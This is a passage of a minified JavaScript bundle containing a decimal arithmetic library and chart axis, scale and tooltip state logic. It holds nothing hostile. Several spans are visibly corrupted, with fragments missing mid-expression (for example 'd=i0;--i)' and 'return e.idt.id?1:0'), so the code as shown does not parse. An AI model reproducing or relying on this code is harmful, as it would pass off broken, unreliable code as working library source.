0&&(a=ji(10,o-i-1),l=u/a%10|0,c=t<0||f[d+1]!==void 0||u%a,c=n<4?(l||c)&&(n==0||n==(e.s<0?3:2)):l>5||l==5&&(n==4||c||n==6&&(r>0?i>0?u/ji(10,o-i):0:f[d-1])%10&1||n==(e.s<0?8:7))),t<1||!f[0])return c?(a=tt(e),f.length=1,t=t-a-1,f[0]=ji(10,(Me-t%Me)%Me),e.e=ns(-t/Me)||0):(f.length=1,f[0]=e.e=e.s=0),e;if(r==0?(f.length=d,a=1,d--):(f.length=d+1,a=ji(10,Me-r),f[d]=i>0?(u/ji(10,o-i)%ji(10,i)|0)*a:0),c)for(;;)if(d==0){(f[0]+=a)==ct&&(f[0]=1,++e.e);break}else{if(f[d]+=a,f[d]!=ct)break;f[d--]=0,a=1}for(r=f.length;f[--r]===0;)f.pop();if($e&&(e.e>fu||e.e<-fu))throw Error(r0+tt(e));return e}function JN(e,t){var n,r,i,a,o,l,c,u,d,f,m=e.constructor,h=m.precision;if(!e.s||!t.s)return t.s?t.s=-t.s:t=new m(e),$e?Pe(t,h):t;if(c=e.d,f=t.d,r=t.e,u=e.e,c=c.slice(),o=u-r,o){for(d=o<0,d?(n=c,o=-o,l=f.length):(n=f,r=u,l=c.length),i=Math.max(Math.ceil(h/Me),l)+2,o>i&&(o=i,n.length=1),n.reverse(),i=o;i--;)n.push(0);n.reverse()}else{for(i=c.length,l=f.length,d=i0;--i)c[l++]=0;for(i=f.length;i>o;){if(c[--i]0?a=a.charAt(0)+"."+a.slice(1)+Dr(r):o>1&&(a=a.charAt(0)+"."+a.slice(1)),a=a+(i<0?"e":"e+")+i):i<0?(a="0."+Dr(-i-1)+a,n&&(r=n-o)>0&&(a+=Dr(r))):i>=o?(a+=Dr(i+1-o),n&&(r=n-i-1)>0&&(a=a+"."+Dr(r))):((r=i+1)0&&(i+1===o&&(a+="."),a+=Dr(r))),e.s<0?"-"+a:a}function W1(e,t){if(e.length>t)return e.length=t,!0}function e4(e){var t,n,r;function i(a){var o=this;if(!(o instanceof i))return new i(a);if(o.constructor=i,a instanceof i){o.s=a.s,o.e=a.e,o.d=(a=a.d)?a.slice():a;return}if(typeof a=="number"){if(a*0!==0)throw Error(Mi+a);if(a>0)o.s=1;else if(a<0)a=-a,o.s=-1;else{o.s=0,o.e=0,o.d=[0];return}if(a===~~a&&a<1e7){o.e=0,o.d=[a];return}return F1(o,a.toString())}else if(typeof a!="string")throw Error(Mi+a);if(a.charCodeAt(0)===45?(a=a.slice(1),o.s=-1):o.s=1,_I.test(a))F1(o,a);else throw Error(Mi+a)}if(i.prototype=ce,i.ROUND_UP=0,i.ROUND_DOWN=1,i.ROUND_CEIL=2,i.ROUND_FLOOR=3,i.ROUND_HALF_UP=4,i.ROUND_HALF_DOWN=5,i.ROUND_HALF_EVEN=6,i.ROUND_HALF_CEIL=7,i.ROUND_HALF_FLOOR=8,i.clone=e4,i.config=i.set=OI,e===void 0&&(e={}),e)for(r=["precision","rounding","toExpNeg","toExpPos","LN10"],t=0;t=i[t+1]&&r<=i[t+2])this[n]=r;else throw Error(Mi+n+": "+r);if((r=e[n="LN10"])!==void 0)if(r==Math.LN10)this[n]=new this(r);else throw Error(Mi+n+": "+r);return this}var i0=e4(AI);qt=new i0(1);const Se=i0;function t4(e){var t;return e===0?t=1:t=Math.floor(new Se(e).abs().log(10).toNumber())+1,t}function n4(e,t,n){for(var r=new Se(e),i=0,a=[];r.lt(t)&&i<1e5;)a.push(r.toNumber()),r=r.add(n),i++;return a}var r4=e=>{var[t,n]=e,[r,i]=[t,n];return t>n&&([r,i]=[n,t]),[r,i]},i4=(e,t,n)=>{if(e.lte(0))return new Se(0);var r=t4(e.toNumber()),i=new Se(10).pow(r),a=e.div(i),o=r!==1?.05:.1,l=new Se(Math.ceil(a.div(o).toNumber())).add(n).mul(o),c=l.mul(i);return t?new Se(c.toNumber()):new Se(Math.ceil(c.toNumber()))},TI=(e,t,n)=>{var r=new Se(1),i=new Se(e);if(!i.isint()&&n){var a=Math.abs(e);a<1?(r=new Se(10).pow(t4(e)-1),i=new Se(Math.floor(i.div(r).toNumber())).mul(r)):a>1&&(i=new Se(Math.floor(e)))}else e===0?i=new Se(Math.floor((t-1)/2)):n||(i=new Se(Math.floor(e)));for(var o=Math.floor((t-1)/2),l=[],c=0;c4&&arguments[4]!==void 0?arguments[4]:0;if(!Number.isFinite((n-t)/(r-1)))return{step:new Se(0),tickMin:new Se(0),tickMax:new Se(0)};var o=i4(new Se(n).sub(t).div(r-1),i,a),l;t<=0&&n>=0?l=new Se(0):(l=new Se(t).add(n).div(2),l=l.sub(new Se(l).mod(o)));var c=Math.ceil(l.sub(t).div(o).toNumber()),u=Math.ceil(new Se(n).sub(l).div(o).toNumber()),d=c+u+1;return d>r?a4(t,n,r,i,a+1):(d0?u+(r-d):u,c=n>0?c:c+(r-d)),{step:o,tickMin:l.sub(new Se(c).mul(o)),tickMax:l.add(new Se(u).mul(o))})},MI=function(t){var[n,r]=t,i=arguments.length>1&&arguments[1]!==void 0?arguments[1]:6,a=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0,o=Math.max(i,2),[l,c]=r4([n,r]);if(l===-1/0||c===1/0){var u=c===1/0?[l,...Array(i-1).fill(1/0)]:[...Array(i-1).fill(-1/0),c];return n>r?u.reverse():u}if(l===c)return TI(l,i,a);var{step:d,tickMin:f,tickMax:m}=a4(l,c,o,a,0),h=n4(f,m.add(new Se(.1).mul(d)),d);return n>r?h.reverse():h},LI=function(t,n){var[r,i]=t,a=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0,[o,l]=r4([r,i]);if(o===-1/0||l===1/0)return[r,i];if(o===l)return[o];var c=Math.max(n,2),u=i4(new Se(l).sub(o).div(c-1),a,0),d=[...n4(new Se(o),new Se(l),u),l];return a===!1&&(d=d.map(f=>Math.round(f))),r>i?d.reverse():d},II=e=>e.rootProps.barCategoryGap,qo=e=>e.rootProps.stackOffset,s4=e=>e.rootProps.reverseStackOrder,a0=e=>e.options.chartName,s0=e=>e.rootProps.syncId,o4=e=>e.rootProps.syncMethod,o0=e=>e.options.eventEmitter,DI=e=>e.rootProps.baseValue,Rt={grid:-100,barBackground:-50,area:100,cursorRectangle:200,bar:300,line:400,axis:500,scatter:600,activeBar:1e3,cursorLine:1100,activeDot:1200,label:2e3},hi={allowDecimals:!1,allowDataOverflow:!1,angleAxisId:0,reversed:!1,scale:"auto",tick:!0,type:"auto"},Bn={allowDataOverflow:!1,allowDecimals:!1,allowDuplicatedCategory:!0,includeHidden:!1,radiusAxisId:0,reversed:!1,scale:"auto",tick:!0,tickCount:5,type:"auto"},Md=(e,t)=>{if(!(!e||!t))return e!=null&&e.reversed?[t[1],t[0]]:t};function l4(e,t,n){if(n!=="auto")return n;if(e!=null)return er(e,t)?"category":"number"}function U1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function pu(e){for(var t=1;t{if(t!=null)return e.polarAxis.angleAxis[t]},l0=M([FI,Vk],(e,t)=>{var n;if(e!=null)return e;var r=(n=l4(t,"angleAxis",V1.type))!==null&&n!==void 0?n:"category";return pu(pu({},V1),{},{type:r})}),WI=(e,t)=>e.polarAxis.radiusAxis[t],c0=M([WI,Vk],(e,t)=>{var n;if(e!=null)return e;var r=(n=l4(t,"radiusAxis",H1.type))!==null&&n!==void 0?n:"category";return pu(pu({},H1),{},{type:r})}),Ld=e=>e.polarOptions,u0=M([zr,Cr,ft],oN),c4=M([Ld,u0],(e,t)=>{if(e!=null)return Zt(e.innerRadius,t,0)}),u4=M([Ld,u0],(e,t)=>{if(e!=null)return Zt(e.outerRadius,t,t*.8)}),UI=e=>{if(e==null)return[0,0];var{startAngle:t,endAngle:n}=e;return[t,n]},d4=M([Ld],UI);M([l0,d4],Md);var f4=M([u0,c4,u4],(e,t,n)=>{if(!(e==null||t==null||n==null))return[t,n]});M([c0,f4],Md);var p4=M([Ee,Ld,c4,u4,zr,Cr],(e,t,n,r,i,a)=>{if(!(e!=="centric"&&e!=="radial"||t==null||n==null||r==null)){var{cx:o,cy:l,startAngle:c,endAngle:u}=t;return{cx:Zt(o,i,i/2),cy:Zt(l,a,a/2),innerRadius:n,outerRadius:r,startAngle:c,endAngle:u,clockWise:!1}}}),He=(e,t)=>t,Yo=(e,t,n)=>n;function d0(e){return e==null?void 0:e.id}function m4(e,t,n){var{chartData:r=[]}=t,{allowDuplicatedCategory:i,dataKey:a}=n,o=new Map;return e.forEach(l=>{var c,u=(c=l.data)!==null&&c!==void 0?c:r;if(!(u==null||u.length===0)){var d=d0(l);u.forEach((f,m)=>{var h=a==null||i?m:String(Ie(f,a,null)),x=Ie(f,l.dataKey,0),g;o.has(h)?g=o.get(h):g={},Object.assign(g,{[d]:x}),o.set(h,g)})}}),Array.from(o.values())}function f0(e){return"stackId"in e&&e.stackId!=null&&e.dataKey!=null}var Id=(e,t)=>e===t?!0:e==null||t==null?!1:e[0]===t[0]&&e[1]===t[1];function Dd(e,t){return Array.isArray(e)&&Array.isArray(t)&&e.length===0&&t.length===0?!0:e===t}function VI(e,t){if(e.length===t.length){for(var n=0;n{var t=Ee(e);return t==="horizontal"?"xAxis":t==="vertical"?"yAxis":t==="centric"?"angleAxis":"radiusAxis"},rs=e=>e.tooltip.settings.axisId;function HI(e){if(e in Ls)return Ls[e]();var t="scale".concat(Do(e));if(t in Ls)return Ls[t]()}function K1(e){var t=e.ticks,n=e.bandwidth,r=e.range(),i=[Math.min(...r),Math.max(...r)];return{domain:()=>e.domain(),range:function(a){function o(){return a.apply(this,arguments)}return o.toString=function(){return a.toString()},o}(()=>i),rangeMin:()=>i[0],rangeMax:()=>i[1],isInRange(a){var o=i[0],l=i[1];return o<=l?a>=o&&a<=l:a>=l&&a<=o},bandwidth:n?()=>n.call(e):void 0,ticks:t?a=>t.call(e,a):void 0,map:(a,o)=>{var l=e(a);if(l!=null){if(e.bandwidth&&o!==null&&o!==void 0&&o.position){var c=e.bandwidth();switch(o.position){case"middle":l+=c/2;break;case"end":l+=c;break}}return l}}}}function q1(e,t,n){if(typeof e=="function")return K1(e.copy().domain(t).range(n));if(e!=null){var r=HI(e);if(r!=null)return r.domain(t).range(n),K1(r)}}var h4=(e,t)=>{if(t!=null)switch(e){case"linear":{if(!wr(t)){for(var n,r,i=0;ir)&&(r=a))}return n!==void 0&&r!==void 0?[n,r]:void 0}return t}default:return t}};function Y1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function mu(e){for(var t=1;te.cartesianAxis.xAxis[t],Ar=(e,t)=>{var n=GI(e,t);return n??x4},v4={allowDataOverflow:!1,allowDecimals:!0,allowDuplicatedCategory:!0,angle:0,dataKey:void 0,domain:Ym,hide:!0,id:0,includeHidden:!1,interval:"preserveEnd",minTickGap:5,mirror:!1,name:void 0,orientation:"left",padding:{top:0,bottom:0},reversed:!1,scale:"auto",tick:!0,tickCount:5,tickFormatter:void 0,ticks:void 0,type:"number",unit:void 0,width:Bo},XI=(e,t)=>e.cartesianAxis.yAxis[t],_r=(e,t)=>{var n=XI(e,t);return n??v4},ZI={domain:[0,"auto"],includeHidden:!1,reversed:!1,allowDataOverflow:!1,allowDuplicatedCategory:!1,dataKey:void 0,id:0,name:"",range:[64,64],scale:"auto",type:"number",unit:""},p0=(e,t)=>{var n=e.cartesianAxis.zAxis[t];return n??ZI},Ge=(e,t,n)=>{switch(t){case"xAxis":return Ar(e,n);case"yAxis":return _r(e,n);case"zAxis":return p0(e,n);case"angleAxis":return l0(e,n);case"radiusAxis":return c0(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},QI=(e,t,n)=>{switch(t){case"xAxis":return Ar(e,n);case"yAxis":return _r(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},is=(e,t,n)=>{switch(t){case"xAxis":return Ar(e,n);case"yAxis":return _r(e,n);case"angleAxis":return l0(e,n);case"radiusAxis":return c0(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},g4=e=>e.graphicalItems.cartesianItems.some(t=>t.type==="bar")||e.graphicalItems.polarItems.some(t=>t.type==="radialBar");function m0(e,t){return n=>{switch(e){case"xAxis":return"xAxisId"in n&&n.xAxisId===t;case"yAxis":return"yAxisId"in n&&n.yAxisId===t;case"zAxis":return"zAxisId"in n&&n.zAxisId===t;case"angleAxis":return"angleAxisId"in n&&n.angleAxisId===t;case"radiusAxis":return"radiusAxisId"in n&&n.radiusAxisId===t;default:return!1}}}var y4=e=>e.graphicalItems.cartesianItems,JI=M([He,Yo],m0),h0=(e,t,n)=>e.filter(n).filter(r=>(t==null?void 0:t.includeHidden)===!0?!0:!r.hide),Go=M([y4,Ge,JI],h0,{memoizeOptions:{resultEqualityCheck:Dd}}),b4=M([Go],e=>e.filter(t=>t.type==="area"||t.type==="bar").filter(f0)),w4=e=>e.filter(t=>!("stackId"in t)||t.stackId===void 0),e7=M([Go],w4),x0=e=>e.map(t=>t.data).filter(Boolean).flat(1),t7=M([Go],x0,{memoizeOptions:{resultEqualityCheck:Dd}}),v0=(e,t)=>{var{chartData:n=[],dataStartIndex:r,dataEndIndex:i}=t;return e.length>0?e:n.slice(r,i+1)},g0=M([t7,YN],v0),y0=(e,t,n)=>(t==null?void 0:t.dataKey)!=null?e.map(r=>({value:Ie(r,t.dataKey)})):n.length>0?n.map(r=>r.dataKey).flatMap(r=>e.map(i=>({value:Ie(i,r)}))):e.map(r=>({value:r})),Rd=M([g0,Ge,Go],y0);function j4(e,t){switch(e){case"xAxis":return t.direction==="x";case"yAxis":return t.direction==="y";default:return!1}}function nc(e){if(xr(e)||e instanceof Date){var t=Number(e);if(je(t))return t}}function G1(e){if(Array.isArray(e)){var t=[nc(e[0]),nc(e[1])];return wr(t)?t:void 0}var n=nc(e);if(n!=null)return[n,n]}function jr(e){return e.map(nc).filter(Vn)}function n7(e,t,n){return!n||typeof t!="number"||Xn(t)?[]:n.length?jr(n.flatMap(r=>{var i=Ie(e,r.dataKey),a,o;if(Array.isArray(i)?[a,o]=i:a=o=i,!(!je(a)||!je(o)))return[t-a,t+o]})):[]}var ot=e=>{var t=mt(e),n=rs(e);return is(e,t,n)},Xo=M([ot],e=>e==null?void 0:e.dataKey),r7=M([b4,YN,ot],m4),k4=(e,t,n,r)=>{var i={},a=t.reduce((o,l)=>{if(l.stackId==null)return o;var c=o[l.stackId];return c==null&&(c=[]),c.push(l),o[l.stackId]=c,o},i);return Object.fromEntries(Object.entries(a).map(o=>{var[l,c]=o,u=r?[...c].reverse():c,d=u.map(d0);return[l,{stackedData:F6(e,d,n),graphicalItems:u}]}))},N4=M([r7,b4,qo,s4],k4),S4=(e,t,n,r)=>{var{dataStartIndex:i,dataEndIndex:a}=t;if(r==null&&n!=="zAxis"){var o=H6(e,i,a);if(!(o!=null&&o[0]===0&&o[1]===0))return o}},i7=M([Ge],e=>e.allowDataOverflow),b0=e=>{var t;if(e==null||!("domain"in e))return Ym;if(e.domain!=null)return e.domain;if("ticks"in e&&e.ticks!=null){if(e.type==="number"){var n=jr(e.ticks);return[Math.min(...n),Math.max(...n)]}if(e.type==="category")return e.ticks.map(String)}return(t=e==null?void 0:e.domain)!==null&&t!==void 0?t:Ym},w0=M([Ge],b0),j0=M([w0,i7],GN),a7=M([N4,Er,He,j0],S4,{memoizeOptions:{resultEqualityCheck:Id}}),$d=e=>e.errorBars,s7=(e,t,n)=>e.flatMap(r=>t[r.id]).filter(Boolean).filter(r=>j4(n,r)),hu=function(){for(var t=arguments.length,n=new Array(t),r=0;r{var a,o;if(n.length>0&&e.forEach(l=>{n.forEach(c=>{var u,d,f=(u=r[c.id])===null||u===void 0?void 0:u.filter(v=>j4(i,v)),m=Ie(l,(d=t.dataKey)!==null&&d!==void 0?d:c.dataKey),h=n7(l,m,f);if(h.length>=2){var x=Math.min(...h),g=Math.max(...h);(a==null||xo)&&(o=g)}var y=G1(m);y!=null&&(a=a==null?y[0]:Math.min(a,y[0]),o=o==null?y[1]:Math.max(o,y[1]))})}),(t==null?void 0:t.dataKey)!=null&&e.forEach(l=>{var c=G1(Ie(l,t.dataKey));c!=null&&(a=a==null?c[0]:Math.min(a,c[0]),o=o==null?c[1]:Math.max(o,c[1]))}),je(a)&&je(o))return[a,o]},o7=M([g0,Ge,e7,$d,He],k0,{memoizeOptions:{resultEqualityCheck:Id}});function l7(e){var{value:t}=e;if(xr(t)||t instanceof Date)return t}var c7=(e,t,n)=>{var r=e.map(l7).filter(i=>i!=null);return n&&(t.dataKey==null||t.allowDuplicatedCategory&&S5(r))?mN(0,e.length):t.allowDuplicatedCategory?r:Array.from(new Set(r))},z4=e=>e.referenceElements.dots,as=(e,t,n)=>e.filter(r=>r.ifOverflow==="extendDomain").filter(r=>t==="xAxis"?r.xAxisId===n:r.yAxisId===n),u7=M([z4,He,Yo],as),C4=e=>e.referenceElements.areas,d7=M([C4,He,Yo],as),P4=e=>e.referenceElements.lines,f7=M([P4,He,Yo],as),E4=(e,t)=>{if(e!=null){var n=jr(e.map(r=>t==="xAxis"?r.x:r.y));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},p7=M(u7,He,E4),A4=(e,t)=>{if(e!=null){var n=jr(e.flatMap(r=>[t==="xAxis"?r.x1:r.y1,t==="xAxis"?r.x2:r.y2]));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},m7=M([d7,He],A4);function h7(e){var t;if(e.x!=null)return jr([e.x]);var n=(t=e.segment)===null||t===void 0?void 0:t.map(r=>r.x);return n==null||n.length===0?[]:jr(n)}function x7(e){var t;if(e.y!=null)return jr([e.y]);var n=(t=e.segment)===null||t===void 0?void 0:t.map(r=>r.y);return n==null||n.length===0?[]:jr(n)}var _4=(e,t)=>{if(e!=null){var n=e.flatMap(r=>t==="xAxis"?h7(r):x7(r));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},v7=M([f7,He],_4),g7=M(p7,v7,m7,(e,t,n)=>hu(e,n,t)),N0=(e,t,n,r,i,a,o,l)=>{if(n!=null)return n;var c=o==="vertical"&&l==="xAxis"||o==="horizontal"&&l==="yAxis",u=c?hu(r,a,i):hu(a,i);return EI(t,u,e.allowDataOverflow)},y7=M([Ge,w0,j0,a7,o7,g7,Ee,He],N0,{memoizeOptions:{resultEqualityCheck:Id}}),b7=[0,1],S0=(e,t,n,r,i,a,o)=>{if(!((e==null||n==null||n.length===0)&&o===void 0)){var{dataKey:l,type:c}=e,u=er(t,a);if(u&&l==null){var d;return mN(0,(d=n==null?void 0:n.length)!==null&&d!==void 0?d:0)}return c==="category"?c7(r,e,u):i==="expand"?b7:o}},z0=M([Ge,Ee,g0,Rd,qo,He,y7],S0);function w7(e){return e in Ls}var O4=(e,t,n)=>{if(e!=null){var{scale:r,type:i}=e;if(r==="auto")return i==="category"&&n&&(n.indexOf("LineChart")>=0||n.indexOf("AreaChart")>=0||n.indexOf("ComposedChart")>=0&&!t)?"point":i==="category"?"band":"linear";if(typeof r=="string"){var a="scale".concat(Do(r));return w7(a)?a:"point"}}},pi=M([Ge,g4,a0],O4);function C0(e,t,n,r){if(!(n==null||r==null))return typeof e.scale=="function"?q1(e.scale,n,r):q1(t,n,r)}var P0=(e,t,n)=>{var r=b0(t);if(!(n!=="auto"&&n!=="linear")){if(t!=null&&t.tickCount&&Array.isArray(r)&&(r[0]==="auto"||r[1]==="auto")&&wr(e))return MI(e,t.tickCount,t.allowDecimals);if(t!=null&&t.tickCount&&t.type==="number"&&wr(e))return LI(e,t.tickCount,t.allowDecimals)}},E0=M([z0,is,pi],P0),A0=(e,t,n,r)=>{if(r!=="angleAxis"&&(e==null?void 0:e.type)==="number"&&wr(t)&&Array.isArray(n)&&n.length>0){var i,a,o=t[0],l=(i=n[0])!==null&&i!==void 0?i:0,c=t[1],u=(a=n[n.length-1])!==null&&a!==void 0?a:0;return[Math.min(o,l),Math.max(c,u)]}return t},j7=M([Ge,z0,E0,He],A0),k7=M(Rd,Ge,(e,t)=>{if(!(!t||t.type!=="number")){var n=1/0,r=Array.from(jr(e.map(f=>f.value))).sort((f,m)=>f-m),i=r[0],a=r[r.length-1];if(i==null||a==null)return 1/0;var o=a-i;if(o===0)return 1/0;for(var l=0;li,(e,t,n,r,i)=>{if(!je(e))return 0;var a=t==="vertical"?r.height:r.width;if(i==="gap")return e*a/2;if(i==="no-gap"){var o=Zt(n,e*a),l=e*a/2;return l-o-(l-o)/a*o}return 0}),N7=(e,t,n)=>{var r=Ar(e,t);return r==null||typeof r.padding!="string"?0:T4(e,"xAxis",t,n,r.padding)},S7=(e,t,n)=>{var r=_r(e,t);return r==null||typeof r.padding!="string"?0:T4(e,"yAxis",t,n,r.padding)},z7=M(Ar,N7,(e,t)=>{var n,r;if(e==null)return{left:0,right:0};var{padding:i}=e;return typeof i=="string"?{left:t,right:t}:{left:((n=i.left)!==null&&n!==void 0?n:0)+t,right:((r=i.right)!==null&&r!==void 0?r:0)+t}}),C7=M(_r,S7,(e,t)=>{var n,r;if(e==null)return{top:0,bottom:0};var{padding:i}=e;return typeof i=="string"?{top:t,bottom:t}:{top:((n=i.top)!==null&&n!==void 0?n:0)+t,bottom:((r=i.bottom)!==null&&r!==void 0?r:0)+t}}),P7=M([ft,z7,yd,gd,(e,t,n)=>n],(e,t,n,r,i)=>{var{padding:a}=r;return i?[a.left,n.width-a.right]:[e.left+t.left,e.left+e.width-t.right]}),E7=M([ft,Ee,C7,yd,gd,(e,t,n)=>n],(e,t,n,r,i,a)=>{var{padding:o}=i;return a?[r.height-o.bottom,o.top]:t==="horizontal"?[e.top+e.height-n.bottom,e.top+n.top]:[e.top+n.top,e.top+e.height-n.bottom]}),Zo=(e,t,n,r)=>{var i;switch(t){case"xAxis":return P7(e,n,r);case"yAxis":return E7(e,n,r);case"zAxis":return(i=p0(e,n))===null||i===void 0?void 0:i.range;case"angleAxis":return d4(e);case"radiusAxis":return f4(e,n);default:return}},M4=M([Ge,Zo],Md),A7=M([pi,j7],h4),Bd=M([Ge,pi,A7,M4],C0);M([Go,$d,He],s7);function L4(e,t){return e.idt.id?1:0}var Fd=(e,t)=>t,Wd=(e,t,n)=>n,_7=M(xd,Fd,Wd,(e,t,n)=>e.filter(r=>r.orientation===t).filter(r=>r.mirror===n).sort(L4)),O7=M(vd,Fd,Wd,(e,t,n)=>e.filter(r=>r.orientation===t).filter(r=>r.mirror===n).sort(L4)),I4=(e,t)=>({width:e.width,height:t.height}),T7=(e,t)=>{var n=typeof t.width=="number"?t.width:Bo;return{width:n,height:e.height}};M(ft,Ar,I4);var M7=(e,t,n)=>{switch(t){case"top":return e.top;case"bottom":return n-e.bottom;default:return 0}},L7=(e,t,n)=>{switch(t){case"left":return e.left;case"right":return n-e.right;default:return 0}},I7=M(Cr,ft,_7,Fd,Wd,(e,t,n,r,i)=>{var a={},o;return n.forEach(l=>{var c=I4(t,l);o==null&&(o=M7(t,r,e));var u=r==="top"&&!i||r==="bottom"&&i;a[l.id]=o-Number(u)*c.height,o+=(u?-1:1)*c.height}),a}),D7=M(zr,ft,O7,Fd,Wd,(e,t,n,r,i)=>{var a={},o;return n.forEach(l=>{var c=T7(t,l);o==null&&(o=L7(t,r,e));var u=r==="left"&&!i||r==="right"&&i;a[l.id]=o-Number(u)*c.width,o+=(u?-1:1)*c.width}),a}),R7=(e,t)=>{var n=Ar(e,t);if(n!=null)return I7(e,n.orientation,n.mirror)};M([ft,Ar,R7,(e,t)=>t],(e,t,n,r)=>{if(t!=null){var i=n==null?void 0:n[r];return i==null?{x:e.left,y:0}:{x:e.left,y:i}}});var $7=(e,t)=>{var n=_r(e,t);if(n!=null)return D7(e,n.orientation,n.mirror)};M([ft,_r,$7,(e,t)=>t],(e,t,n,r)=>{if(t!=null){var i=n==null?void 0:n[r];return i==null?{x:0,y:e.top}:{x:i,y:e.top}}});M(ft,_r,(e,t)=>{var n=typeof t.width=="number"?t.width:Bo;return{width:n,height:e.height}});var D4=(e,t,n,r)=>{if(n!=null){var{allowDuplicatedCategory:i,type:a,dataKey:o}=n,l=er(e,r),c=t.map(u=>u.value);if(o&&l&&a==="category"&&i&&S5(c))return c}},_0=M([Ee,Rd,Ge,He],D4),R4=(e,t,n,r)=>{if(!(n==null||n.dataKey==null)){var{type:i,scale:a}=n,o=er(e,r);if(o&&(i==="number"||a!=="auto"))return t.map(l=>l.value)}},O0=M([Ee,Rd,is,He],R4);M([Ee,QI,pi,Bd,_0,O0,Zo,E0,He],(e,t,n,r,i,a,o,l,c)=>{if(t!=null){var u=er(e,c);return{angle:t.angle,interval:t.interval,minTickGap:t.minTickGap,orientation:t.orientation,tick:t.tick,tickCount:t.tickCount,tickFormatter:t.tickFormatter,ticks:t.ticks,type:t.type,unit:t.unit,axisType:c,categoricalDomain:a,duplicateDomain:i,isCategorical:u,niceTicks:l,range:o,realScaleType:n,scale:r}}});var B7=(e,t,n,r,i,a,o,l,c)=>{if(!(t==null||r==null)){var u=er(e,c),{type:d,ticks:f,tickCount:m}=t,h=n==="scaleBand"&&typeof r.bandwidth=="function"?r.bandwidth()/2:2,x=d==="category"&&r.bandwidth?r.bandwidth()/h:0;x=c==="angleAxis"&&a!=null&&a.length>=2?It(a[0]-a[1])*2*x:x;var g=f||i;return g?g.map((y,v)=>{var b=o?o.indexOf(y):y,w=r.map(b);return je(w)?{index:v,coordinate:w+x,value:y,offset:x}:null}).filter(Vn):u&&l?l.map((y,v)=>{var b=r.map(y);return je(b)?{coordinate:b+x,value:y,index:v,offset:x}:null}).filter(Vn):r.ticks?r.ticks(m).map((y,v)=>{var b=r.map(y);return je(b)?{coordinate:b+x,value:y,index:v,offset:x}:null}).filter(Vn):r.domain().map((y,v)=>{var b=r.map(y);return je(b)?{coordinate:b+x,value:o?o[y]:y,index:v,offset:x}:null}).filter(Vn)}};M([Ee,is,pi,Bd,E0,Zo,_0,O0,He],B7);var F7=(e,t,n,r,i,a,o)=>{if(!(t==null||n==null||r==null||r[0]===r[1])){var l=er(e,o),{tickCount:c}=t,u=0;return u=o==="angleAxis"&&(r==null?void 0:r.length)>=2?It(r[0]-r[1])*2*u:u,l&&a?a.map((d,f)=>{var m=n.map(d);return je(m)?{coordinate:m+u,value:d,index:f,offset:u}:null}).filter(Vn):n.ticks?n.ticks(c).map((d,f)=>{var m=n.map(d);return je(m)?{coordinate:m+u,value:d,index:f,offset:u}:null}).filter(Vn):n.domain().map((d,f)=>{var m=n.map(d);return je(m)?{coordinate:m+u,value:i?i[d]:d,index:f,offset:u}:null}).filter(Vn)}},$4=M([Ee,is,Bd,Zo,_0,O0,He],F7),B4=M(Ge,Bd,(e,t)=>{if(!(e==null||t==null))return mu(mu({},e),{},{scale:t})}),W7=M([Ge,pi,z0,M4],C0);M((e,t,n)=>p0(e,n),W7,(e,t)=>{if(!(e==null||t==null))return mu(mu({},e),{},{scale:t})});var U7=M([Ee,xd,vd],(e,t,n)=>{switch(e){case"horizontal":return t.some(r=>r.reversed)?"right-to-left":"left-to-right";case"vertical":return n.some(r=>r.reversed)?"bottom-to-top":"top-to-bottom";case"centric":case"radial":return"left-to-right";default:return}}),F4=e=>e.options.defaultTooltipEventType,W4=e=>e.options.validateTooltipEventTypes;function U4(e,t,n){if(e==null)return t;var r=e?"axis":"item";return n==null?t:n.includes(r)?r:t}function T0(e,t){var n=F4(e),r=W4(e);return U4(t,n,r)}function V7(e){return he(t=>T0(t,e))}var V4=(e,t)=>{var n,r=Number(t);if(!(Xn(r)||t==null))return r>=0?e==null||(n=e[r])===null||n===void 0?void 0:n.value:void 0},H7=e=>e.tooltip.settings,Br={active:!1,index:null,dataKey:void 0,graphicalItemId:void 0,coordinate:void 0},K7={itemInteraction:{click:Br,hover:Br},axisInteraction:{click:Br,hover:Br},keyboardInteraction:Br,syncInteraction:{active:!1,index:null,dataKey:void 0,label:void 0,coordinate:void 0,sourceViewBox:void 0,graphicalItemId:void 0},tooltipItemPayloads:[],settings:{shared:void 0,trigger:"hover",axisId:0,active:!1,defaultIndex:void 0}},H4=Ut({name:"tooltip",initialState:K7,reducers:{addTooltipEntrySettings:{reducer(e,t){e.tooltipItemPayloads.push(t.payload)},prepare:De()},replaceTooltipEntrySettings:{reducer(e,t){var{prev:n,next:r}=t.payload,i=_n(e).tooltipItemPayloads.indexOf(n);i>-1&&(e.tooltipItemPayloads[i]=r)},prepare:De()},removeTooltipEntrySettings:{reducer(e,t){var n=_n(e).tooltipItemPayloads.indexOf(t.payload);n>-1&&e.tooltipItemPayloads.splice(n,1)},prepare:De()},setTooltipSettingsState(e,t){e.settings=t.payload},setActiveMouseOverItemIndex(e,t){e.syncInteraction.active=!1,e.keyboardInteraction.active=!1,e.itemInteraction.hover.active=!0,e.itemInteraction.hover.index=t.payload.activeIndex,e.itemInteraction.hover.dataKey=t.payload.activeDataKey,e.itemInteraction.hover.graphicalItemId=t.payload.activeGraphicalItemId,e.itemInteraction.hover.coordinate=t.payload.activeCoordinate},mouseLeaveChart(e){e.itemInteraction.hover.active=!1,e.axisInteraction.hover.active=!1},mouseLeaveItem(e){e.itemInteraction.hover.active=!1},setActiveClickItemIndex(e,t){e.syncInteraction.active=!1,e.itemInteraction.click.active=!0,e.keyboardInteraction.active=!1,e.itemInteraction.click.index=t.payload.activeIndex,e.itemInteraction.click.dataKey=t.payload.activeDataKey,e.itemInteraction.click.graphicalItemId=t.payload.activeGraphicalItemId,e.itemInteraction.click.coordinate=t.payload.activeCoordinate},setMouseOverA